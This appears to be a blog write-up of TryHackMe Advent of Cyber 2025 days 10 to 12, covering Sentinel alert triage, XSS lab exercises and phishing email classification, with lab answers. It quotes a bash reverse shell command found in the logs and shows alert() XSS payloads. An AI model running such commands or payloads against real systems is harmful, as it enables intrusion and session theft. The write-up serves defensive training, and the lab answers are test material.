Skip to main content

THM | AoC 2025 | Day 10-12

· 14 min read

AoC 2025 | Day 10-12 Logo

Day-10: SOC Alert Triaging - Tinsel Triage | Day-11: XSS - Merry XSSMas | Day-12: Phishing - Phishmas Greetings

SUMMARY​

We start out on Day-10 with a quick primer on Alert Triaging, and then our Microsoft Sentinel instance environment is introduced. Then we check out and analyze the various Incidents. Lastly, we do a deep dive into Log Analysis where we try to analyse and correlate events to understand what exactly happened.

Continuing with Day-11, we first exploit a reflected XSS vulnerability, then a stored XSS one.

On Day-12, we move on to inspect some emails in order to identify various Phishing Attempts. Some of these make use of Email Address Spoofing techniques, others use falsely advertised - potentially malicious - attachements files. There are also some others that use Typosquatting/Punycode, but most default to some basic social engineering techniques.

AoC 2025 | Day 10 Hero

D-10 | SOC Alert Triaging - Tinsel Triage​

STORYLINE​

"The Best Festival Company's Security Operations Center is overwhelmed by a surge of alerts across their cloud environment. The elves suspect the evil Easter Bunnies are behind the attack, but the source and motive remain unclear."

PREPARATION​

Use one of the provided access credentials (username:temporary-access-pass) to log in to the Microsoft Azure Portal where the further tasks take place.

Sadly, NONE of them worked for us, so we will do an exeption here (agains THM Write-Up Policy), and provide both passwords and flags for the solutions so that people interested in completing AoC 2025 can do so.

Alert Triaging Primer​

Alert triaging is a critical process that helps security teams prioritize alerts efficiently rather than investigating each one equally. Not all alerts indicate genuine threats — some are noise or false positives — so teams need a structured approach to determine which deserve immediate attention.

The Four Key Factors for Triaging​

When assessing alerts, analysts should evaluate: FACTOR | FOCUS | IMPORTANCE

  • SEVERITY - Severity Level | Rating from Informational to Critical | Indicates urgency and potential business risk
  • TIME - Timestamp and Frequency | When the alert triggered and related activity patterns | Identifies ongoing attacks or repeated behavior
  • CONTEXT - Attack Stage | Where in the attack lifecycle (reconnaissance, persistence, exfiltration) | Shows how far the attacker has progressed
  • IMPACT - Affected Asset | Which system, user, or resource is involved | Prioritizes response based on operational importance

These four dimensions — how bad, when, where in the attack lifecycle, and who/what is affected — provide a balanced foundation for quick, informed triage decisions.

Next Steps After Triage​

Once you've identified alerts worth investigating, follow a structured investigation process:

  • examine the alert details
  • check related logs
  • correlate with other alerts involving the same user or device
  • build a timeline of events
  • decide whether to escalate to incident response, investigate further, or close as a false positive
  • documentation of findings and lessons learned

Environment Review​

Rendering the logs for the lab environment:

  • Search for "Microsoft Sentinel" > "Logs" tab > "Custom Logs" > "Syslog_CL (Runs a preview query) > Run

Investigation Proper​

View the incidents during the current timeframe:

  • select your dedicated Sentinel instance > "Threat management" Dropdown > "Incidents" Tab
  • if not shown > Refresh Page > Set Custom date range for the incidents (20251029-12:00:00 - 20251213-12:00:00)

Q & A​

Question-1: How many entities are affected by the Linux PrivEsc - Polkit Exploit Attempt alert?

10

Question-2: What is the severity of the Linux PrivEsc - Sudo Shadow Access alert?

High

Question-3: How many accounts were added to the sudoers group in the Linux PrivEsc - User Added to Sudo Group alert?

4

Diving Deeper Into Logs​

Getting more Information:

  • Select Alert's full details view > "Evidence" Section > "Events" > "Logs"

Change view to editable KQL query:

  • Press "Simple mode" dropdown > Select KQL mode
Events triggered by "app-02"​
set query_now = datetime(2025-10-30T05:09:25.9886229Z);
Syslog_CL
| where host_s == 'app-02'
| project _timestamp_t, host_s, Message

Q & A​

Question-1: What is the name of the kernel module installed in websrv-01?

malicious_mod.ko

Question-2: What is the unusual command executed within websrv-01 by the ops user?

/bin/bash -i >& /dev/tcp/198.51.100.22/4444 0>&1

Question-3: What is the source IP address of the first successful SSH login to storage-01?

172.16.0.12

Question-4: What is the external source IP that successfully logged in as root to app-01?

203.0.113.45

Question-5: Aside from the backup user, what is the name of the user added to the sudoers group inside app-01?

deploy

AoC 2025 | Day 11 Hero

D-11 | XSS - Merry XSSMas​

  • TL;DR: Learn about types of XSS vulnerabilities and how to prevent them.
  • Original Room: TryHackMe | Advent of Cyber 2025 | DAY 11 - XSS - Merry XSSMas

STORYLINE​

"Santa's workshop was modernized with a secure message portal for McSkidy, but logs show unusual activity: odd messages, suspicious search terms, and code disguised as letters. The mission is to investigate and identify who's causing the mischief."

Leave the Cookies, Take the Payload​

Cross-Site Scripting (XSS) is a web vulnerability where attackers inject malicious code (typically JavaScript) into input fields that other users view. It occurs when applications fail to properly validate or escape user input, allowing it to be executed as code rather than treated as text.

Two Main Types​

  • Reflected XSS occurs when malicious code is immediately returned in the response and executed in the victim's browser. It typically targets individual users through phishing links and doesn't persist on the server. 
    <!-- original request -->
    https://trygiftme.thm/search?term=gift

    <!-- request with reflected xss -->
    https://trygiftme.thm/search?term=<script>alert( atob("VEhNe0V2aWxfQnVubnl9") )</script>
  • Stored XSS is more dangerous—malicious scripts are saved on the server and automatically executed for every user who views the affected page. This attack affects all visitors without requiring them to click a link.

Potential Impact | Both types allow attackers to steal credentials, deface pages, impersonate users, steal session cookies, trigger fake login popups, and access information the victim could access.

Cheat Sheet from PortSwigger | Cross-site scripting (XSS) cheat sheet

Protection Strategies​

  • Disable dangerous rendering | Use textContent instead of innerHTML to treat input as plain text rather than executable code
  • Secure cookies | Set "HttpOnly", "Secure", and "SameSite" attributes on session cookies to limit XSS damage
  • Sanitize and encode input/output | Remove or escape executable elements (scripts, event handlers, JavaScript URLs) while preserving safe formatting, especially when limited HTML input is necessary

Q & A​

Question-1: Which type of XSS attack requires payloads to be persisted on the backend?

stored

Question-2: What's the reflected XSS flag?

[REDACTED-FLAG]

Let us first visit our target web app. To validate our findings, let's craft a dummy JavaScript alert to verify the Reflected XSS vulnerability which is possible via the provided search bar and then clicking "Search Messages".

As for the payload, let's stick with the cat example:

<script>alert('Reflected Meow Meow')</script>

Once the request is sent, we are presented with a popup which verifies the presence of a Reflected XSS vulnerability.

Reflected XSS Popup

Figure 1: Reflected XSS Popup

Moreover, successfully triggering the Reflected XSS vulnerability provides us with the necessary flag.

Flag for Reflected XSS

Figure 2: Flag for sucessfully triggering the Reflected XSS vulnerability

Question-3: What's the stored XSS flag?

[REDACTED-FLAG]

This time, our goal is to verify if it is possible to exploit a stored XSS vulnerability via the web app's send message function, which should store the messages on the server.

Just like last time, we stick with the cat payload:

<script>alert('Stored Meow Meow')</script>

Once the message is sent, we are again presented with our intended popup, which verifies that the web-app is indeed susceptible to stored XSS.

Stored XSS Popup

Figure 3: Stored XSS Popup

And lastly, once the Stored XSS vulnerability is triggered, the flag for the task is displayed under "Recent Messages".

Flag for Stored XSS

Figure 4: Flag for sucessfully triggering Stored XSS

Question-4: If you enjoyed todays's room, you might want to have a look at the Intro to Cross-site Scripting room!

No answer needed

AoC 2025 | Day 12 Hero

D-12 | Phishing - Phishmas Greetings​

STORYLINE​

"McSkidy's disappearance has disabled TBFC's email filters. The SOC Team suspects Malhare's Eggsploit Bunnies launched a phishing campaign to steal credentials. You must identify legitimate emails versus sophisticated phishing attempts disguised as routine operations or SOC-mas logistics."

Spotting Phishing Emails​

Phishing is a precision-targeted cyber attack exploiting human vulnerability to steal credentials, deliver malware, exfiltrate data, or commit financial fraud. It remains highly effective because it targets people, not technology.

Phishing vs. Spam​

  • phishing is deliberate deception targeting specific users
  • spam is bulk, low-risk marketing noise
    • Goals: push exposure or engagement
    • Intentions: promotion, scams, traffic generation (clickbait), data harvesting
    • Defense: look for the intention behind it

Core Techniques​

  • Impersonation | Attackers pose as trusted individuals or departments using mismatched domains (e.g., Gmail instead of company domain).
    • Defense: check if sender's email matches the expected domain
  • Social Engineering | Manipulates emotions through urgency, fear, or trust; often redirects victims away from official verification channels (side channel).
    • Common Techniques: Impersonation, Sense of Urgency, Side channel, Malicious intention
  • Typosquatting | Typosquatting registers misspelled domains (glthub.com vs. github.com).
  • Punycode | Punycode replaces ASCII letters with visually identical Unicode characters (latin "a" -> greek "α").
    • Defense: check email headers' "Return-Path" field for ACE prefix encoding.
  • Spoofing | Messages appear legitimate (display name and "From:") but fail authentication checks (SPF, DKIM, DMARC). Failed SPF and DMARC indicate spoofing.
    • Defense: check Headers > "Authentication-Results" ("spf=fail"; "dkim=fail";"dmarc=fail"), check "Return-Path"
    • SPF: Says which servers are allowed to send emails for a domain (like a list of approved senders)
    • DKIM: Adds a digital signature to prove the message wasn’t changed and really came from that domain
    • DMARC: Uses SPF and DKIM to decide what to do if something looks fake (for example, send it to spam or block it)
  • Malicious Attachments | attaching malicious files to an email usually using some sort of social engineering technique in the body
    • Common: ".html"/".hta" files execute without browser sandboxing, providing full endpoint access

Modern Tactics​

Attackers now focus on stealing credentials rather than dropping malware. They exploit legitimate applications (Google Drive, OneDrive, Dropbox) to bypass filters, create fake login pages ("microsoftonline.login444123.com/signin") mimicking Office 365/Google, and use side-channel communications (SMS, WhatsApp, phone calls) to escape company security controls.

Defense​

User awareness is critical. Verify sender domains, check authentication headers, recognize social engineering, and question requests creating artificial urgency.

Q & A​

First thing first, let's start the target VM and then open the web-application. It seems that the "Automatic classification" function is disabled, so we have to inspect the Emails manually. There are 6 Emails in our inbox.

Emails to inspect

Figure 5: Emails to inspect

Let's start with the first one, by simply clicking on it under "Available Emails".

First Email to inspect

Figure 6: First Email to inspect

Question-1: Classify the 1st email, what's the flag?

[REDACTED-FLAG]

It looks like we have an Email Spoofing Attempt here. There are a couple of indicators we can turn to in order to verify it. First, under "Headers", we can check on the "AUTHENTICATION-RESULTS" Email Header. The fact that all authentication checks - SPF, DKIM and DMARC - report FAIL's, is a good indicator for a spoofing attempt.

First Email - Failed Authentication Checks

Figure 7: First Email - Failed Authentication Checks

Moreover, once we check on the "RETURN-PATH" Header, we notice the mismatch between the sender-,the advertised-, and the real return-email-address.

First Email - Mismatch in Return Path

Figure 8: First Email - Mismatch in Return Path

Once we identified the issue, we need to classify the Email. Once we "Submit" the correct Classification, we are returned with the flag for the 1st question.

  • CLASSIFICATION: Phishing | Spoofing, Sense of Urgency, Fake Invoice
First Email - Returned Flag after Successful Classification

Figure 9: First Email - Returned Flag after Successful Classification

Question-2: Classify the 2nd email. What's the flag?

[REDACTED-FLAG]

Here we notice a potentially malicious Attachement file, which is advertised as an MP3 file, when in fact it is an HTML file. Moreover, just like before, there is an issue with both the Authentication-Results, as well as with the Return-Path Header.

Second Email - Potentially Malicious Attachement

Figure 10: Second Email - Potentially Malicious Attachement

  • Indicators
    • AUTHENTICATION-RESULTS Header | "spf=fail"; "dkim=fail"; "dmarc=fail"
    • RETURN-PATH Header | "[email protected]" instead of "[email protected]"
    • Attachements | HTML file ("Play-Now.mp3-29a-otpqw-warq-29.html") instead of MP3 file
  • CLASSIFICATION: Phishing | Impersonation, Spoofing, Malicious Attachment

Question-3: Classify the 3rd email. What's the flag?

[REDACTED-FLAG]

  • Indicators
    • Sense of Urgency text | "immediately", "urgent"
    • Side Channel Communication attempt | "personal email"
  • CLASSIFICATION: Phishing | Impersonation, Social Engineering Text, Sense of Urgency

Question-4: Classify the 4th email. What's the flag?

[REDACTED-FLAG]

Here we notice a Domain Mismatch in the Body of the Email. The account that shares the document with us via Dropbox is "[email protected]" of the OUTLOOK.COM domain, instead of our company domain which is TBFC.COM.

Fourth Email - Domain Mismatch

Figure 11: Fourth Email - Domain Mismatch

  • Indicators | Domain Mismatch
  • CLASSIFICATION: Phishing | Impersonation, External Sender Domain, Social Engineering Text

Question-5: Classify the 5th email. What's the flag?

[REDACTED-FLAG]

  • Indicators
    • Authentiation-Results Headers pass
    • Return-Path Header matches with sender
    • no attachement and no links
  • CLASSIFICATION: Spam

Question-6: Classify the 6th email. What's the flag?

[REDACTED-FLAG]

Here we notice a Punycode attempt with the ASCII letter "f".

Sixth Email - Punycode attempt with letter 'f'

Figure 12: Sixth Email - Punycode attempt with letter 'f'

For the real - correct ASCII encoded sender address - we check out the "Return-Path" Header which identifies it as "[email protected]" instead of "[email protected]".

Sixth Email - Punycode Attempt - True Address

Figure 13: Sixth Email - Punycode Attempt - True Address

  • Indicators
  • CLASSIFICATION: Phishing | Impersonation, Typosquatting/Punycodes, Social Engineerng Text

Question-7: If you enjoyed today's room, you can explore the Phishing Analysis Tools room in detail!

No answer needed